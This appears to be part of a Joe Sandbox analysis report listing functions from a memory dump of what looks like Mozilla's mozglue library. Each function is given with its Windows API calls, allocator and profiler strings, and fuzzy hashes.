GetCurrentProcess.KERNEL32 ref: 6C986759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C986764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C986A80
GetSystemInfo.KERNEL32(?), ref: 6C986ABE
__Init_thread_footer.LIBCMT ref: 6C986AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986AF7

Strings

nvdxgiwrap.dll, xrefs: 6C986513
user32.dll, xrefs: 6C986526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C986798
nvd3d9wrap.dll, xrefs: 6C986500
detoured.dll, xrefs: 6C9864DA
_etoured.dll, xrefs: 6C9864ED

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 70b63c23692b3200ba74d0d182bee171e7945d0474fb349646532da8d483d02e
Instruction ID: ab60888270dda105ff521e41951c31cf7b627af4a75afd2c426f7f8ff0d579ae
Opcode Fuzzy Hash: 70b63c23692b3200ba74d0d182bee171e7945d0474fb349646532da8d483d02e
Instruction Fuzzy Hash: C4F103709162199FCF20CF64DC88B9AB7B9AF45318F1446D9D819EB680D731EE84CF90

Function 6C9A60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A60C9
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A610D
EnterCriticalSection.KERNEL32(?), ref: 6C9A618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9A61F9

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C9A6AAE
MALLOC_OPTIONS, xrefs: 6C9A6888
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A6BC7, 6C9A6F97, 6C9A6FB2
MOZ_CRASH(), xrefs: 6C9A6AB8
<jemalloc>, xrefs: 6C9A6AA9, 6C9A6B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A6B6A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 1fed604e1e9ec399d0fdfeaad937cad63293e02d2c54c6795d5b0babbdf401c9
Instruction ID: 3adec021d77a0a123d91a3f94ab203e46a2df2ee896fb08e92c9629f825f0bbe
Opcode Fuzzy Hash: 1fed604e1e9ec399d0fdfeaad937cad63293e02d2c54c6795d5b0babbdf401c9
Instruction Fuzzy Hash: D4A28A71A096018FD708CF6CC550615BBF6FB86728F29C66DE869CBB91C771E842CB81

Function 6C9DC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9DC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9DC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9DC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9DCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9DDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9DDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9DDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9DE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9DE472

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 3d2329beb5f0d8ed183d8b33f0b23752c4fec2583ad89a5c84b2b37412453b1d
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: B5338D72E0061A8FCB04CFA8C8806ADBBB2FF49314F198269D955BB755D731F945CBA0

Function 6C98FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7B8), ref: 6C98FF81
LeaveCriticalSection.KERNEL32(6C9FE7B8), ref: 6C99022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C990240
EnterCriticalSection.KERNEL32(6C9FE768), ref: 6C99025B
LeaveCriticalSection.KERNEL32(6C9FE768), ref: 6C99027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98FE99, 6C98FEB7, 6C98FED3, 6C990DB8, 6C990DD3, 6C9919B4
: (malloc) Error in VirtualFree(), xrefs: 6C990D67, 6C990D7B, 6C990DAC
<jemalloc>, xrefs: 6C990D62, 6C990D76, 6C990DA7

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: a1159258091fc151256eddabe42a31af70284752311713d643385a01c761ed9b
Instruction ID: 22e04cc7ee2c3856b75c145010b7783ab4ebdbf0fdb8d2d8aa6b608e6d5cccb9
Opcode Fuzzy Hash: a1159258091fc151256eddabe42a31af70284752311713d643385a01c761ed9b
Instruction Fuzzy Hash: 51C2BE71A057418FD714CF28C88071ABBE5BF8A728F28C66DE4B98B795D771E841CB81

Function 6C9DE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9DE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9DEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9DF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9E0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9E0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9E0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9E0ED4

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 66a0dbab417c57293ecd35207c17ee0c906e72ce6d5d9c93b40bcc2d520d274b
Instruction ID: 78ad64f7e1482c0eb43253d6afddf28dd45622f791bbaa1bd64a65edb3d2b292
Opcode Fuzzy Hash: 66a0dbab417c57293ecd35207c17ee0c906e72ce6d5d9c93b40bcc2d520d274b
Instruction Fuzzy Hash: AD637D71E0025ACFCB04CFA8C8906ADFBB2FF99314F298269D855BB755D730A945CB90

Function 6C9B3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9D7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3E7D,?,?,?,6C9B3E7D,?,?), ref: 6C9D777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C9B3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9B3F5C
VerSetConditionMask.NTDLL ref: 6C9B3F8D
VerSetConditionMask.NTDLL ref: 6C9B3F99
VerSetConditionMask.NTDLL ref: 6C9B3FA0
VerSetConditionMask.NTDLL ref: 6C9B3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9B3FB4

Strings

nvd3d9wrap.dll, xrefs: 6C9B4466
nvinit.dll, xrefs: 6C9B4479

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: fece78d4656dd5e9fd349933cf760d0b75664c3a36a3775e49bb4e194d1b3d01
Instruction ID: d0aa6a2b3b0ebda43182529aae9ae91c7134f99f65c28c71d27017bcce6ac2c7
Opcode Fuzzy Hash: fece78d4656dd5e9fd349933cf760d0b75664c3a36a3775e49bb4e194d1b3d01
Instruction Fuzzy Hash: 3C52E472611B889FD714DF34C880AAB77F9AFA5204F18092DD5928BB52DB34F909CB60

Function 6C99ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C99EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C99EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9A1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C9A1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A1A3E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 92036368fa7523b14ecbea7aa9c95b3c11189d0ba2ff010721e370e1eda55bee
Instruction ID: 5d84953e26e5b7725760a09afb567eddfb6ef494f835275c97605b279bd6f380
Opcode Fuzzy Hash: 92036368fa7523b14ecbea7aa9c95b3c11189d0ba2ff010721e370e1eda55bee
Instruction Fuzzy Hash: 45B30A71E0421ACFCB14CFA9C890AADF7B2BF49304F1981A9D459AB755D730E986CF90

Function 6C98FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7B8), ref: 6C98FF81
LeaveCriticalSection.KERNEL32(6C9FE7B8), ref: 6C99022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C990240
EnterCriticalSection.KERNEL32(6C9FE768), ref: 6C99025B
LeaveCriticalSection.KERNEL32(6C9FE768), ref: 6C99027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98FE99, 6C98FEB7, 6C98FED3, 6C990DB8, 6C990DD3, 6C9919B4, 6C991A10
MOZ_CRASH(), xrefs: 6C990CA7

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 84de0320ee34e997548178d61de3441c4999704d0d80c3b277f14bd83756bd1a
Instruction ID: f5d7ee6f5392b0e254da7447b4d18ac9837347f47fa586739947c2f58371c956
Opcode Fuzzy Hash: 84de0320ee34e997548178d61de3441c4999704d0d80c3b277f14bd83756bd1a
Instruction Fuzzy Hash: 0FB2AE716057418FD718CF29C590716BBE5BF8A328F2CC66CE86A8BBA5D771E840CB41

Function 6C9C5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C9C5AC3
ProfileBuffer parse error: %s, xrefs: 6C9C5AC8, 6C9C5CBB
expected a Time entry, xrefs: 6C9C5CB6
schema, xrefs: 6C9C606D
name, xrefs: 6C9C5E79, 6C9C5E8F
data, xrefs: 6C9C6131

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 0b034bfd67da077646e78bacb98be26e331741b45810a287f742ba9847a1ef58
Instruction ID: 507c207da37b5ba896aa917324720561b0fae1cfa846496de108b64dd9802805
Opcode Fuzzy Hash: 0b034bfd67da077646e78bacb98be26e331741b45810a287f742ba9847a1ef58
Instruction Fuzzy Hash: 51926BB1A083418FD724CF28C49079ABBE1BFD9308F14891DE59A9B751DB31E909CB93

Function 6C9C2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9C2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9C2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9C3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C36BF

Strings

set , xrefs: 6C9C36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9C378D
get , xrefs: 6C9C3205

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3fa5c059cdb6a9787515968933dc9e5fc24f819a9a053020e211a3552e9f06b8
Instruction ID: 42f5fba1d774ab13ff97c63a024ddd1c74c1870b79a6ca681c3c0a354a94e18a
Opcode Fuzzy Hash: 3fa5c059cdb6a9787515968933dc9e5fc24f819a9a053020e211a3552e9f06b8
Instruction Fuzzy Hash: 923268B12083818FD724CF24C490AAEBBE6BFD9318F54881DE59987751DB31E94ACB53

Function 6C9B7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C9B7E88
schema, xrefs: 6C9B81E3, 6C9B8311
data, xrefs: 6C9B8280, 6C9B83E1
name, xrefs: 6C9B7ECF, 6C9B8335

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: bbdf1729f661be72eda57db7724d879bc592e9e22ddae1d32b4169b5cf10d06a
Instruction ID: 2ef5f9a8e67d398849d866ccd603a0eca4c497cfa83020c8e2dfe3d45143232c
Opcode Fuzzy Hash: bbdf1729f661be72eda57db7724d879bc592e9e22ddae1d32b4169b5cf10d06a
Instruction Fuzzy Hash: 18E17EB2A053408BC710CF69884065BFBEAFFE9318F144A2DE895E7790DB71DD098B91

Function 6C99D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D4F2
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D50B

Part of subcall function 6C97CFE0: EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C97CFF6
Part of subcall function 6C97CFE0: LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C97D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D52E
EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C99D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99D6A6
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C99D712
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99D7EA

Strings

<jemalloc>, xrefs: 6C99D827
: (malloc) Error initializing arena, xrefs: 6C99D82C

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 5e409147fc92ae23b6c69196b78f85c8e0483bc2ab22532a4bdd9eac1aefa8d6
Instruction ID: 37ad5fdb8974b1c8bcd2685082187e2c9ccaac3afb0062a5b2c1744377bc94b9
Opcode Fuzzy Hash: 5e409147fc92ae23b6c69196b78f85c8e0483bc2ab22532a4bdd9eac1aefa8d6
Instruction Fuzzy Hash: 3291B572A087418FD714CF29C4D072AB7E5FB99718F28892ED56AC7B85D730E845CB82

Function 6C995E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2
memset.VCRUNTIME140(6C9D7765,000000E5,9FC09015), ref: 6C9961F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C997652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C997BCD, 6C997C1F, 6C997C34, 6C9980FD
MOZ_CRASH(), xrefs: 6C997BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9972F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C99730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9972E3

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: fc5a76fe3da4170f51553aa224c0deb9c56f7e247c0064d579918ad560d5d912
Instruction ID: 8cd6dade1d6144f79ba4e63a4a13606157510643e9c878d35437ff67fae68456
Opcode Fuzzy Hash: fc5a76fe3da4170f51553aa224c0deb9c56f7e247c0064d579918ad560d5d912
Instruction Fuzzy Hash: ED336D716067018FD308CF29C590715BBE6BF85328F2DC6ADE56A8B7A5D731E841CB81

Function 6C973480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C973492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9734A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9734EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C97350E
__Init_thread_footer.LIBCMT ref: 6C973522
__aulldiv.LIBCMT ref: 6C973552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C97357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C973592

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C973508
kernel32.dll, xrefs: 6C9734EA

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ad243b288cc2aba9a48489a379b97855dd508fcbabf96b7403cb3293a2dd96c8
Instruction ID: d6d2be7c827657bc3e1cd9d43eaf4567ca8d79e2885430ec49ecf6ae823f32d9
Opcode Fuzzy Hash: ad243b288cc2aba9a48489a379b97855dd508fcbabf96b7403cb3293a2dd96c8
Instruction Fuzzy Hash: 7C31E271B052099BDF10DFB9E848AAE77B9FB86309F200019E525E3650EB71E905CFA0

Function 6C9D4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

